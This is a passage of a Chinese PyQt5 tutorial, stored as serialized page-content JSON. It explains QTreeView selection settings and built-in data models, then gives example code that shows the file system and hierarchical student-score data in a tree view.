39,"props":41804,"children":41805},{},[41806,41811],{"type":18,"tag":466,"props":41807,"children":41808},{},[41809],{"type":24,"value":41810},"setSelectionMode()",{"type":18,"tag":466,"props":41812,"children":41813},{},[41814,41816,41819,41822,41824,41827,41830,41832,41835,41838,41840,41843,41846,41848],{"type":24,"value":41815},"设置选中模式，取值如下：",{"type":18,"tag":6882,"props":41817,"children":41818},{},[],{"type":18,"tag":6882,"props":41820,"children":41821},{},[],{"type":24,"value":41823},"◆ QAbstractItemView.NoSelection：不能选择",{"type":18,"tag":6882,"props":41825,"children":41826},{},[],{"type":18,"tag":6882,"props":41828,"children":41829},{},[],{"type":24,"value":41831},"◆ QAbstractItemView.SingleSelection：单选",{"type":18,"tag":6882,"props":41833,"children":41834},{},[],{"type":18,"tag":6882,"props":41836,"children":41837},{},[],{"type":24,"value":41839},"◆ QAbstractItemView.MultiSelection：多选",{"type":18,"tag":6882,"props":41841,"children":41842},{},[],{"type":18,"tag":6882,"props":41844,"children":41845},{},[],{"type":24,"value":41847},"◆ QAbstractItemView.ExtendedSelection：正常单选，按下",{"type":18,"tag":41849,"props":41850,"children":41851},"ctrl",{},[41852,41854],{"type":24,"value":41853},"或者     ",{"type":18,"tag":41855,"props":41856,"children":41857},"shift",{},[41858,41860,41863,41866],{"type":24,"value":41859},"键后，可以多选",{"type":18,"tag":6882,"props":41861,"children":41862},{},[],{"type":18,"tag":6882,"props":41864,"children":41865},{},[],{"type":24,"value":41867},"◆ QAbstractItemView.ContiguousSelection：与ExtendedSelection类似",{"type":18,"tag":439,"props":41869,"children":41870},{},[41871,41876],{"type":18,"tag":466,"props":41872,"children":41873},{},[41874],{"type":24,"value":41875},"setSelectionBehavior()",{"type":18,"tag":466,"props":41877,"children":41878},{},[41879,41881,41884,41887,41889,41892,41895,41897,41900,41903],{"type":24,"value":41880},"设置选中方式，取值如下：",{"type":18,"tag":6882,"props":41882,"children":41883},{},[],{"type":18,"tag":6882,"props":41885,"children":41886},{},[],{"type":24,"value":41888},"◆ QAbstractItemView.SelectItems：选中当前项",{"type":18,"tag":6882,"props":41890,"children":41891},{},[],{"type":18,"tag":6882,"props":41893,"children":41894},{},[],{"type":24,"value":41896},"◆ QAbstractItemView.SelectRows：选中整行",{"type":18,"tag":6882,"props":41898,"children":41899},{},[],{"type":18,"tag":6882,"props":41901,"children":41902},{},[],{"type":24,"value":41904},"◆ QAbstractItemView.SelectColumns：选中整列",{"type":18,"tag":34,"props":41906,"children":41907},{},[41908,41910,41915],{"type":24,"value":41909},"下面分别介绍如何使用",{"type":18,"tag":74,"props":41911,"children":41913},{"className":41912},[],[41914],{"type":24,"value":41448},{"type":24,"value":41916},"控件分层显示PyQt5内置模型的数据和自定义的数据。",{"type":18,"tag":337,"props":41918,"children":41920},{"id":41919},"_1使用内置模型中的数据",[41921],{"type":24,"value":41922},"1）使用内置模型中的数据",{"type":18,"tag":34,"props":41924,"children":41925},{},[41926],{"type":24,"value":41927},"PyQt5中提供的内置模型及说明如表所示。",{"type":18,"tag":431,"props":41929,"children":41930},{},[41931,41952],{"type":18,"tag":435,"props":41932,"children":41933},{},[41934],{"type":18,"tag":439,"props":41935,"children":41936},{},[41937,41945],{"type":18,"tag":443,"props":41938,"children":41939},{},[41940],{"type":18,"tag":105,"props":41941,"children":41942},{},[41943],{"type":24,"value":41944},"模    型",{"type":18,"tag":443,"props":41946,"children":41947},{},[41948],{"type":18,"tag":105,"props":41949,"children":41950},{},[41951],{"type":24,"value":41526},{"type":18,"tag":459,"props":41953,"children":41954},{},[41955,41968,41981,41994,42007,42020,42033,42046],{"type":18,"tag":439,"props":41956,"children":41957},{},[41958,41963],{"type":18,"tag":466,"props":41959,"children":41960},{},[41961],{"type":24,"value":41962},"QStringListModel",{"type":18,"tag":466,"props":41964,"children":41965},{},[41966],{"type":24,"value":41967},"存储简单的字符串列表",{"type":18,"tag":439,"props":41969,"children":41970},{},[41971,41976],{"type":18,"tag":466,"props":41972,"children":41973},{},[41974],{"type":24,"value":41975},"QStandardItemModel",{"type":18,"tag":466,"props":41977,"children":41978},{},[41979],{"type":24,"value":41980},"可以用于树结构的存储，提供了层次数据",{"type":18,"tag":439,"props":41982,"children":41983},{},[41984,41989],{"type":18,"tag":466,"props":41985,"children":41986},{},[41987],{"type":24,"value":41988},"QFileSystemModel",{"type":18,"tag":466,"props":41990,"children":41991},{},[41992],{"type":24,"value":41993},"存储本地系统的文件和目录信息（针对当前项目）",{"type":18,"tag":439,"props":41995,"children":41996},{},[41997,42002],{"type":18,"tag":466,"props":41998,"children":41999},{},[42000],{"type":24,"value":42001},"QDirModel",{"type":18,"tag":466,"props":42003,"children":42004},{},[42005],{"type":24,"value":42006},"存储文件系统",{"type":18,"tag":439,"props":42008,"children":42009},{},[42010,42015],{"type":18,"tag":466,"props":42011,"children":42012},{},[42013],{"type":24,"value":42014},"QSqlQueryModel",{"type":18,"tag":466,"props":42016,"children":42017},{},[42018],{"type":24,"value":42019},"存储SQL中的查询结构集",{"type":18,"tag":439,"props":42021,"children":42022},{},[42023,42028],{"type":18,"tag":466,"props":42024,"children":42025},{},[42026],{"type":24,"value":42027},"QSqlTableModel",{"type":18,"tag":466,"props":42029,"children":42030},{},[42031],{"type":24,"value":42032},"存储SQL中的表格数据",{"type":18,"tag":439,"props":42034,"children":42035},{},[42036,42041],{"type":18,"tag":466,"props":42037,"children":42038},{},[42039],{"type":24,"value":42040},"QSqlRelationalTableModel",{"type":18,"tag":466,"props":42042,"children":42043},{},[42044],{"type":24,"value":42045},"存储有外键关系的SQL表格数据",{"type":18,"tag":439,"props":42047,"children":42048},{},[42049,42054],{"type":18,"tag":466,"props":42050,"children":42051},{},[42052],{"type":24,"value":42053},"QSortFilterProxyModel",{"type":18,"tag":466,"props":42055,"children":42056},{},[42057],{"type":24,"value":42058},"对模型中的数据进行排序或者过滤",{"type":18,"tag":34,"props":42060,"children":42061},{},[42062],{"type":18,"tag":105,"props":42063,"children":42064},{},[42065,42067,42072],{"type":24,"value":42066},"实例 在",{"type":18,"tag":74,"props":42068,"children":42070},{"className":42069},[],[42071],{"type":24,"value":41448},{"type":24,"value":42073},"中显示系统文件目录",{"type":18,"tag":34,"props":42075,"children":42076},{},[42077,42079,42084,42086,42091],{"type":24,"value":42078},"使用系统内置的",{"type":18,"tag":74,"props":42080,"children":42082},{"className":42081},[],[42083],{"type":24,"value":42001},{"type":24,"value":42085},"作为数据模型，在",{"type":18,"tag":74,"props":42087,"children":42089},{"className":42088},[],[42090],{"type":24,"value":41448},{"type":24,"value":42092},"中显示系统的文件目录，代码如下：",{"type":18,"tag":287,"props":42094,"children":42096},{"className":28710,"code":42095,"language":28712,"meta":8,"style":8},"from PyQt5 import QtCore, QtGui, QtWidgets  \n  \nclass Ui_MainWindow(object):  \n  \n    def setupUi(self, MainWindow):  \n        MainWindow.setObjectName(\"MainWindow\")  \n        MainWindow.resize(469, 280)  \n        self.centralwidget = QtWidgets.QWidget(MainWindow)  \n        self.centralwidget.setObjectName(\"centralwidget\")  \n        self.treeView = QtWidgets.QTreeView(self.centralwidget) # 创建树对象  \n        self.treeView.setGeometry(QtCore.QRect(0, 0, 471, 281)) # 设置坐标位置和大小  \n        # 设置垂直滚动条为按需显示  \n        self.treeView.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)  \n        # 设置水平滚动条为按需显示  \n        self.treeView.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)  \n        # 设置双击或者按下回车键时，使树节点可编辑  \n        self.treeView.setEditTriggers(QtWidgets.QAbstractItemView.DoubleClicked|QtWidgets.QAbstractItemView.EditKeyPressed)  \n        # 设置树节点为单选  \n        self.treeView.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection)  \n        # 设置选中节点时为整行选中  \n        self.treeView.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows)  \n        self.treeView.setAutoExpandDelay(-1) # 设置自动展开的延时为-1，表示自动展开不可用  \n        self.treeView.setItemsExpandable(True)    # 设置是否可以展开项  \n        self.treeView.setSortingEnabled(True)        # 设置单击头部可排序  \n        self.treeView.setWordWrap(True)         # 设置自动换行  \n        self.treeView.setHeaderHidden(False)         # 设置不隐藏头部  \n        self.treeView.setExpandsOnDoubleClick(True)    # 设置双击可以展开节点  \n        self.treeView.setObjectName(\"treeView\")  \n        self.treeView.header().setVisible(True) # 设置显示头部  \n        MainWindow.setCentralWidget(self.centralwidget)  \n        self.retranslateUi(MainWindow)  \n        QtCore.QMetaObject.connectSlotsByName(MainWindow)  \n        model =QtWidgets.QDirModel()           # 创建存储文件系统的模型  \n        self.treeView.setModel(model)           # 为树控件设置数据模型  \n  \n    def retranslateUi(self, MainWindow):  \n        _translate = QtCore.QCoreApplication.translate  \n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))  \n  \nimport sys  \n# 程序入口，程序从此处启动PyQt设计的窗体  \nif __name__ == '__main__':  \n   app = QtWidgets.QApplication(sys.argv)  \n   MainWindow = QtWidgets.QMainWindow()       # 创建窗体对象  \n   ui = Ui_MainWindow()     # 创建PyQt设计的窗体对象  \n   ui.setupUi(MainWindow)     # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n   MainWindow.show()         # 显示窗体  \n   sys.exit(app.exec_())     # 程序关闭时退出进程\n",[42097],{"type":18,"tag":74,"props":42098,"children":42099},{"__ignoreMap":8},[42100,42108,42115,42123,42130,42138,42146,42154,42162,42170,42178,42186,42194,42202,42210,42218,42226,42234,42242,42250,42258,42266,42274,42282,42290,42298,42306,42314,42322,42330,42338,42346,42354,42362,42370,42377,42385,42393,42401,42408,42416,42424,42432,42440,42448,42456,42465,42474],{"type":18,"tag":297,"props":42101,"children":42102},{"class":299,"line":300},[42103],{"type":18,"tag":297,"props":42104,"children":42105},{},[42106],{"type":24,"value":42107},"from PyQt5 import QtCore, QtGui, QtWidgets  \n",{"type":18,"tag":297,"props":42109,"children":42110},{"class":299,"line":657},[42111],{"type":18,"tag":297,"props":42112,"children":42113},{},[42114],{"type":24,"value":36783},{"type":18,"tag":297,"props":42116,"children":42117},{"class":299,"line":662},[42118],{"type":18,"tag":297,"props":42119,"children":42120},{},[42121],{"type":24,"value":42122},"class Ui_MainWindow(object):  \n",{"type":18,"tag":297,"props":42124,"children":42125},{"class":299,"line":799},[42126],{"type":18,"tag":297,"props":42127,"children":42128},{},[42129],{"type":24,"value":36783},{"type":18,"tag":297,"props":42131,"children":42132},{"class":299,"line":808},[42133],{"type":18,"tag":297,"props":42134,"children":42135},{},[42136],{"type":24,"value":42137},"    def setupUi(self, MainWindow):  \n",{"type":18,"tag":297,"props":42139,"children":42140},{"class":299,"line":817},[42141],{"type":18,"tag":297,"props":42142,"children":42143},{},[42144],{"type":24,"value":42145},"        MainWindow.setObjectName(\"MainWindow\")  \n",{"type":18,"tag":297,"props":42147,"children":42148},{"class":299,"line":826},[42149],{"type":18,"tag":297,"props":42150,"children":42151},{},[42152],{"type":24,"value":42153},"        MainWindow.resize(469, 280)  \n",{"type":18,"tag":297,"props":42155,"children":42156},{"class":299,"line":4524},[42157],{"type":18,"tag":297,"props":42158,"children":42159},{},[42160],{"type":24,"value":42161},"        self.centralwidget = QtWidgets.QWidget(MainWindow)  \n",{"type":18,"tag":297,"props":42163,"children":42164},{"class":299,"line":4533},[42165],{"type":18,"tag":297,"props":42166,"children":42167},{},[42168],{"type":24,"value":42169},"        self.centralwidget.setObjectName(\"centralwidget\")  \n",{"type":18,"tag":297,"props":42171,"children":42172},{"class":299,"line":4546},[42173],{"type":18,"tag":297,"props":42174,"children":42175},{},[42176],{"type":24,"value":42177},"        self.treeView = QtWidgets.QTreeView(self.centralwidget) # 创建树对象  \n",{"type":18,"tag":297,"props":42179,"children":42180},{"class":299,"line":4555},[42181],{"type":18,"tag":297,"props":42182,"children":42183},{},[42184],{"type":24,"value":42185},"        self.treeView.setGeometry(QtCore.QRect(0, 0, 471, 281)) # 设置坐标位置和大小  \n",{"type":18,"tag":297,"props":42187,"children":42188},{"class":299,"line":4568},[42189],{"type":18,"tag":297,"props":42190,"children":42191},{},[42192],{"type":24,"value":42193},"        # 设置垂直滚动条为按需显示  \n",{"type":18,"tag":297,"props":42195,"children":42196},{"class":299,"line":4577},[42197],{"type":18,"tag":297,"props":42198,"children":42199},{},[42200],{"type":24,"value":42201},"        self.treeView.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)  \n",{"type":18,"tag":297,"props":42203,"children":42204},{"class":299,"line":4590},[42205],{"type":18,"tag":297,"props":42206,"children":42207},{},[42208],{"type":24,"value":42209},"        # 设置水平滚动条为按需显示  \n",{"type":18,"tag":297,"props":42211,"children":42212},{"class":299,"line":4599},[42213],{"type":18,"tag":297,"props":42214,"children":42215},{},[42216],{"type":24,"value":42217},"        self.treeView.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)  \n",{"type":18,"tag":297,"props":42219,"children":42220},{"class":299,"line":4607},[42221],{"type":18,"tag":297,"props":42222,"children":42223},{},[42224],{"type":24,"value":42225},"        # 设置双击或者按下回车键时，使树节点可编辑  \n",{"type":18,"tag":297,"props":42227,"children":42228},{"class":299,"line":4616},[42229],{"type":18,"tag":297,"props":42230,"children":42231},{},[42232],{"type":24,"value":42233},"        self.treeView.setEditTriggers(QtWidgets.QAbstractItemView.DoubleClicked|QtWidgets.QAbstractItemView.EditKeyPressed)  \n",{"type":18,"tag":297,"props":42235,"children":42236},{"class":299,"line":4624},[42237],{"type":18,"tag":297,"props":42238,"children":42239},{},[42240],{"type":24,"value":42241},"        # 设置树节点为单选  \n",{"type":18,"tag":297,"props":42243,"children":42244},{"class":299,"line":4633},[42245],{"type":18,"tag":297,"props":42246,"children":42247},{},[42248],{"type":24,"value":42249},"        self.treeView.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection)  \n",{"type":18,"tag":297,"props":42251,"children":42252},{"class":299,"line":4641},[42253],{"type":18,"tag":297,"props":42254,"children":42255},{},[42256],{"type":24,"value":42257},"        # 设置选中节点时为整行选中  \n",{"type":18,"tag":297,"props":42259,"children":42260},{"class":299,"line":4650},[42261],{"type":18,"tag":297,"props":42262,"children":42263},{},[42264],{"type":24,"value":42265},"        self.treeView.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows)  \n",{"type":18,"tag":297,"props":42267,"children":42268},{"class":299,"line":4658},[42269],{"type":18,"tag":297,"props":42270,"children":42271},{},[42272],{"type":24,"value":42273},"        self.treeView.setAutoExpandDelay(-1) # 设置自动展开的延时为-1，表示自动展开不可用  \n",{"type":18,"tag":297,"props":42275,"children":42276},{"class":299,"line":4681},[42277],{"type":18,"tag":297,"props":42278,"children":42279},{},[42280],{"type":24,"value":42281},"        self.treeView.setItemsExpandable(True)    # 设置是否可以展开项  \n",{"type":18,"tag":297,"props":42283,"children":42284},{"class":299,"line":4703},[42285],{"type":18,"tag":297,"props":42286,"children":42287},{},[42288],{"type":24,"value":42289},"        self.treeView.setSortingEnabled(True)        # 设置单击头部可排序  \n",{"type":18,"tag":297,"props":42291,"children":42292},{"class":299,"line":4711},[42293],{"type":18,"tag":297,"props":42294,"children":42295},{},[42296],{"type":24,"value":42297},"        self.treeView.setWordWrap(True)         # 设置自动换行  \n",{"type":18,"tag":297,"props":42299,"children":42300},{"class":299,"line":4720},[42301],{"type":18,"tag":297,"props":42302,"children":42303},{},[42304],{"type":24,"value":42305},"        self.treeView.setHeaderHidden(False)         # 设置不隐藏头部  \n",{"type":18,"tag":297,"props":42307,"children":42308},{"class":299,"line":4728},[42309],{"type":18,"tag":297,"props":42310,"children":42311},{},[42312],{"type":24,"value":42313},"        self.treeView.setExpandsOnDoubleClick(True)    # 设置双击可以展开节点  \n",{"type":18,"tag":297,"props":42315,"children":42316},{"class":299,"line":13515},[42317],{"type":18,"tag":297,"props":42318,"children":42319},{},[42320],{"type":24,"value":42321},"        self.treeView.setObjectName(\"treeView\")  \n",{"type":18,"tag":297,"props":42323,"children":42324},{"class":299,"line":13553},[42325],{"type":18,"tag":297,"props":42326,"children":42327},{},[42328],{"type":24,"value":42329},"        self.treeView.header().setVisible(True) # 设置显示头部  \n",{"type":18,"tag":297,"props":42331,"children":42332},{"class":299,"line":13591},[42333],{"type":18,"tag":297,"props":42334,"children":42335},{},[42336],{"type":24,"value":42337},"        MainWindow.setCentralWidget(self.centralwidget)  \n",{"type":18,"tag":297,"props":42339,"children":42340},{"class":299,"line":13624},[42341],{"type":18,"tag":297,"props":42342,"children":42343},{},[42344],{"type":24,"value":42345},"        self.retranslateUi(MainWindow)  \n",{"type":18,"tag":297,"props":42347,"children":42348},{"class":299,"line":13632},[42349],{"type":18,"tag":297,"props":42350,"children":42351},{},[42352],{"type":24,"value":42353},"        QtCore.QMetaObject.connectSlotsByName(MainWindow)  \n",{"type":18,"tag":297,"props":42355,"children":42356},{"class":299,"line":13641},[42357],{"type":18,"tag":297,"props":42358,"children":42359},{},[42360],{"type":24,"value":42361},"        model =QtWidgets.QDirModel()           # 创建存储文件系统的模型  \n",{"type":18,"tag":297,"props":42363,"children":42364},{"class":299,"line":13724},[42365],{"type":18,"tag":297,"props":42366,"children":42367},{},[42368],{"type":24,"value":42369},"        self.treeView.setModel(model)           # 为树控件设置数据模型  \n",{"type":18,"tag":297,"props":42371,"children":42372},{"class":299,"line":13732},[42373],{"type":18,"tag":297,"props":42374,"children":42375},{},[42376],{"type":24,"value":36783},{"type":18,"tag":297,"props":42378,"children":42379},{"class":299,"line":13786},[42380],{"type":18,"tag":297,"props":42381,"children":42382},{},[42383],{"type":24,"value":42384},"    def retranslateUi(self, MainWindow):  \n",{"type":18,"tag":297,"props":42386,"children":42387},{"class":299,"line":13794},[42388],{"type":18,"tag":297,"props":42389,"children":42390},{},[42391],{"type":24,"value":42392},"        _translate = QtCore.QCoreApplication.translate  \n",{"type":18,"tag":297,"props":42394,"children":42395},{"class":299,"line":13803},[42396],{"type":18,"tag":297,"props":42397,"children":42398},{},[42399],{"type":24,"value":42400},"        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))  \n",{"type":18,"tag":297,"props":42402,"children":42403},{"class":299,"line":13845},[42404],{"type":18,"tag":297,"props":42405,"children":42406},{},[42407],{"type":24,"value":36783},{"type":18,"tag":297,"props":42409,"children":42410},{"class":299,"line":13887},[42411],{"type":18,"tag":297,"props":42412,"children":42413},{},[42414],{"type":24,"value":42415},"import sys  \n",{"type":18,"tag":297,"props":42417,"children":42418},{"class":299,"line":13927},[42419],{"type":18,"tag":297,"props":42420,"children":42421},{},[42422],{"type":24,"value":42423},"# 程序入口，程序从此处启动PyQt设计的窗体  \n",{"type":18,"tag":297,"props":42425,"children":42426},{"class":299,"line":13943},[42427],{"type":18,"tag":297,"props":42428,"children":42429},{},[42430],{"type":24,"value":42431},"if __name__ == '__main__':  \n",{"type":18,"tag":297,"props":42433,"children":42434},{"class":299,"line":15315},[42435],{"type":18,"tag":297,"props":42436,"children":42437},{},[42438],{"type":24,"value":42439},"   app = QtWidgets.QApplication(sys.argv)  \n",{"type":18,"tag":297,"props":42441,"children":42442},{"class":299,"line":15331},[42443],{"type":18,"tag":297,"props":42444,"children":42445},{},[42446],{"type":24,"value":42447},"   MainWindow = QtWidgets.QMainWindow()       # 创建窗体对象  \n",{"type":18,"tag":297,"props":42449,"children":42450},{"class":299,"line":15347},[42451],{"type":18,"tag":297,"props":42452,"children":42453},{},[42454],{"type":24,"value":42455},"   ui = Ui_MainWindow()     # 创建PyQt设计的窗体对象  \n",{"type":18,"tag":297,"props":42457,"children":42459},{"class":299,"line":42458},46,[42460],{"type":18,"tag":297,"props":42461,"children":42462},{},[42463],{"type":24,"value":42464},"   ui.setupUi(MainWindow)     # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n",{"type":18,"tag":297,"props":42466,"children":42468},{"class":299,"line":42467},47,[42469],{"type":18,"tag":297,"props":42470,"children":42471},{},[42472],{"type":24,"value":42473},"   MainWindow.show()         # 显示窗体  \n",{"type":18,"tag":297,"props":42475,"children":42477},{"class":299,"line":42476},48,[42478],{"type":18,"tag":297,"props":42479,"children":42480},{},[42481],{"type":24,"value":42482},"   sys.exit(app.exec_())     # 程序关闭时退出进程\n",{"type":18,"tag":34,"props":42484,"children":42485},{},[42486],{"type":24,"value":42487},"运行程序，效果如图所示。",{"type":18,"tag":34,"props":42489,"children":42490},{},[42491],{"type":18,"tag":54,"props":42492,"children":42495},{"alt":42493,"src":42494},"Pasted image 20250903155813","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250903155813.png",[],{"type":18,"tag":337,"props":42497,"children":42499},{"id":42498},"_2使用自定义数据",[42500],{"type":24,"value":42501},"2）使用自定义数据",{"type":18,"tag":34,"props":42503,"children":42504},{},[42505,42507,42512,42514,42519,42521,42526],{"type":24,"value":42506},"PyQt5中提供了一个",{"type":18,"tag":74,"props":42508,"children":42510},{"className":42509},[],[42511],{"type":24,"value":41975},{"type":24,"value":42513},"模型，该模型可以存储任意层次结构的数据，本节将介绍如何使用",{"type":18,"tag":74,"props":42515,"children":42517},{"className":42516},[],[42518],{"type":24,"value":41975},{"type":24,"value":42520},"模型存储数据，并显示在",{"type":18,"tag":74,"props":42522,"children":42524},{"className":42523},[],[42525],{"type":24,"value":41448},{"type":24,"value":42527},"控件中。",{"type":18,"tag":34,"props":42529,"children":42530},{},[42531],{"type":18,"tag":105,"props":42532,"children":42533},{},[42534,42536,42541],{"type":24,"value":42535},"实例 使用",{"type":18,"tag":74,"props":42537,"children":42539},{"className":42538},[],[42540],{"type":24,"value":41448},{"type":24,"value":42542},"显示各个班级的学生成绩信息",{"type":18,"tag":34,"props":42544,"children":42545},{},[42546,42548,42553,42555,42561,42563,42568,42570,42575,42577,42582],{"type":24,"value":42547},"创建一个PyQt5窗口，并在其中添加一个",{"type":18,"tag":74,"props":42549,"children":42551},{"className":42550},[],[42552],{"type":24,"value":41448},{"type":24,"value":42554},"控件，然后在",{"type":18,"tag":74,"props":42556,"children":42558},{"className":42557},[],[42559],{"type":24,"value":42560},".py",{"type":24,"value":42562},"文件中使用",{"type":18,"tag":74,"props":42564,"children":42566},{"className":42565},[],[42567],{"type":24,"value":41975},{"type":24,"value":42569},"模型存储某年级下的各个班级的学生成绩信息，最后将设置完的",{"type":18,"tag":74,"props":42571,"children":42573},{"className":42572},[],[42574],{"type":24,"value":41975},{"type":24,"value":42576},"模型作为",{"type":18,"tag":74,"props":42578,"children":42580},{"className":42579},[],[42581],{"type":24,"value":41448},{"type":24,"value":42583},"控件的数据模型进行显示。代码如下：",{"type":18,"tag":287,"props":42585,"children":42587},{"className":28710,"code":42586,"language":28712,"meta":8,"style":8},"from PyQt5 import QtCore, QtGui, QtWidgets  \n  \nclass Ui_MainWindow(object):  \n  \n    def setupUi(self, MainWindow):  \n        MainWindow.setObjectName(\"MainWindow\")  \n        MainWindow.resize(422, 197)  \n        self.centralwidget = QtWidgets.QWidget(MainWindow)  \n        self.centralwidget.setObjectName(\"centralwidget\")  \n        # 创建一个TreeView树视图  \n        self.treeView = QtWidgets.QTreeView(self.centralwidget)  \n        self.treeView.setGeometry(QtCore.QRect(0, 0, 421, 201))  \n        self.treeView.setObjectName(\"treeView\")  \n        MainWindow.setCentralWidget(self.centralwidget)  \n        self.retranslateUi(MainWindow)  \n        QtCore.QMetaObject.connectSlotsByName(MainWindow)  \n        model = QtGui.QStandardItemModel()      # 创建数据模型  \n        model.setHorizontalHeaderLabels(['年级','班级','姓名','分数'])  \n  \n        # 姓名列表  \n        name=['马云','马化腾','李彦宏','王兴','刘强东','董明珠','张一鸣','任正非','丁磊','程维']  \n        score=[65,89,45,68,90,100,99,76,85,73] # 分数列表  \n  \n        import  random  \n        # 设置数据  \n        for i in range(0,6):  \n            # 一级节点：年级，只设第1列的数据  \n            grade = QtGui.QStandardItem((\"%s年级\")%(i + 1))  \n            model.appendRow(grade)          # 一级节点  \n            for j in range(0,4):  \n                # 二级节点：班级、姓名、分数  \n                itemClass = QtGui.QStandardItem((\"%s班\")%(j+1))  \n                itemName = QtGui.QStandardItem(name[random.randrange(10)])  \n                itemScore = QtGui.QStandardItem(str(score[random.randrange(10)]))  \n                # 将二级节点添加到一级节点上  \n                grade.appendRow([QtGui.QStandardItem(\"\"),itemClass,itemName,itemScore])  \n        self.treeView.setModel(model)          # 为TreeVIew设置数据模型  \n  \n    def retranslateUi(self, MainWindow):  \n        _translate = QtCore.QCoreApplication.translate  \n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))  \n  \nimport sys  \n# 程序入口，程序从此处启动PyQt设计的窗体  \nif __name__ == '__main__':  \n   app = QtWidgets.QApplication(sys.argv)  \n   MainWindow = QtWidgets.QMainWindow()      # 创建窗体对象  \n   ui = Ui_MainWindow()              # 创建PyQt设计的窗体对象  \n   ui.setupUi(MainWindow)            # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n   MainWindow.show()                 # 显示窗体  \n   sys.exit(app.exec_())             # 程序关闭时退出进程\n",[42588],{"type":18,"tag":74,"props":42589,"children":42590},{"__ignoreMap":8},[42591,42598,42605,42612,42619,42626,42633,42641,42648,42655,42663,42671,42679,42686,42693,42700,42707,42715,42723,42730,42738,42746,42754,42761,42769,42777,42785,42793,42801,42809,42817,42825,42833,42841,42849,42857,42865,42873,42880,42887,42894,42901,42908,42915,42922,42929,42936,42944,42952,42961,42970],{"type":18,"tag":297,"props":42592,"children":42593},{"class":299,"line":300},[42594],{"type":18,"tag":297,"props":42595,"children":42596},{},[42597],{"type":24,"value":42107},{"type":18,"tag":297,"props":42599,"children":42600},{"class":299,"line":657},[42601],{"type":18,"tag":297,"props":42602,"children":42603},{},[42604],{"type":24,"value":36783},{"type":18,"tag":297,"props":42606,"children":42607},{"class":299,"line":662},[42608],{"type":18,"tag":297,"props":42609,"children":42610},{},[42611],{"type":24,"value":42122},{"type":18,"tag":297,"props":42613,"children":42614},{"class":299,"line":799},[42615],{"type":18,"tag":297,"props":42616,"children":42617},{},[42618],{"type":24,"value":36783},{"type":18,"tag":297,"props":42620,"children":42621},{"class":299,"line":808},[42622],{"type":18,"tag":297,"props":42623,"children":42624},{},[42625],{"type":24,"value":42137},{"type":18,"tag":297,"props":42627,"children":42628},{"class":299,"line":817},[42629],{"type":18,"tag":297,"props":42630,"children":42631},{},[42632],{"type":24,"value":42145},{"type":18,"tag":297,"props":42634,"children":42635},{"class":299,"line":826},[42636],{"type":18,"tag":297,"props":42637,"children":42638},{},[42639],{"type":24,"value":42640},"        MainWindow.resize(422, 197)  \n",{"type":18,"tag":297,"props":42642,"children":42643},{"class":299,"line":4524},[42644],{"type":18,"tag":297,"props":42645,"children":42646},{},[42647],{"type":24,"value":42161},{"type":18,"tag":297,"props":42649,"children":42650},{"class":299,"line":4533},[42651],{"type":18,"tag":297,"props":42652,"children":42653},{},[42654],{"type":24,"value":42169},{"type":18,"tag":297,"props":42656,"children":42657},{"class":299,"line":4546},[42658],{"type":18,"tag":297,"props":42659,"children":42660},{},[42661],{"type":24,"value":42662},"        # 创建一个TreeView树视图  \n",{"type":18,"tag":297,"props":42664,"children":42665},{"class":299,"line":4555},[42666],{"type":18,"tag":297,"props":42667,"children":42668},{},[42669],{"type":24,"value":42670},"        self.treeView = QtWidgets.QTreeView(self.centralwidget)  \n",{"type":18,"tag":297,"props":42672,"children":42673},{"class":299,"line":4568},[42674],{"type":18,"tag":297,"props":42675,"children":42676},{},[42677],{"type":24,"value":42678},"        self.treeView.setGeometry(QtCore.QRect(0, 0, 421, 201))  \n",{"type":18,"tag":297,"props":42680,"children":42681},{"class":299,"line":4577},[42682],{"type":18,"tag":297,"props":42683,"children":42684},{},[42685],{"type":24,"value":42321},{"type":18,"tag":297,"props":42687,"children":42688},{"class":299,"line":4590},[42689],{"type":18,"tag":297,"props":42690,"children":42691},{},[42692],{"type":24,"value":42337},{"type":18,"tag":297,"props":42694,"children":42695},{"class":299,"line":4599},[42696],{"type":18,"tag":297,"props":42697,"children":42698},{},[42699],{"type":24,"value":42345},{"type":18,"tag":297,"props":42701,"children":42702},{"class":299,"line":4607},[42703],{"type":18,"tag":297,"props":42704,"children":42705},{},[42706],{"type":24,"value":42353},{"type":18,"tag":297,"props":42708,"children":42709},{"class":299,"line":4616},[42710],{"type":18,"tag":297,"props":42711,"children":42712},{},[42713],{"type":24,"value":42714},"        model = QtGui.QStandardItemModel()      # 创建数据模型  \n",{"type":18,"tag":297,"props":42716,"children":42717},{"class":299,"line":4624},[42718],{"type":18,"tag":297,"props":42719,"children":42720},{},[42721],{"type":24,"value":42722},"        model.setHorizontalHeaderLabels(['年级','班级','姓名','分数'])  \n",{"type":18,"tag":297,"props":42724,"children":42725},{"class":299,"line":4633},[42726],{"type":18,"tag":297,"props":42727,"children":42728},{},[42729],{"type":24,"value":36783},{"type":18,"tag":297,"props":42731,"children":42732},{"class":299,"line":4641},[42733],{"type":18,"tag":297,"props":42734,"children":42735},{},[42736],{"type":24,"value":42737},"        # 姓名列表  \n",{"type":18,"tag":297,"props":42739,"children":42740},{"class":299,"line":4650},[42741],{"type":18,"tag":297,"props":42742,"children":42743},{},[42744],{"type":24,"value":42745},"        name=['马云','马化腾','李彦宏','王兴','刘强东','董明珠','张一鸣','任正非','丁磊','程维']  \n",{"type":18,"tag":297,"props":42747,"children":42748},{"class":299,"line":4658},[42749],{"type":18,"tag":297,"props":42750,"children":42751},{},[42752],{"type":24,"value":42753},"        score=[65,89,45,68,90,100,99,76,85,73] # 分数列表  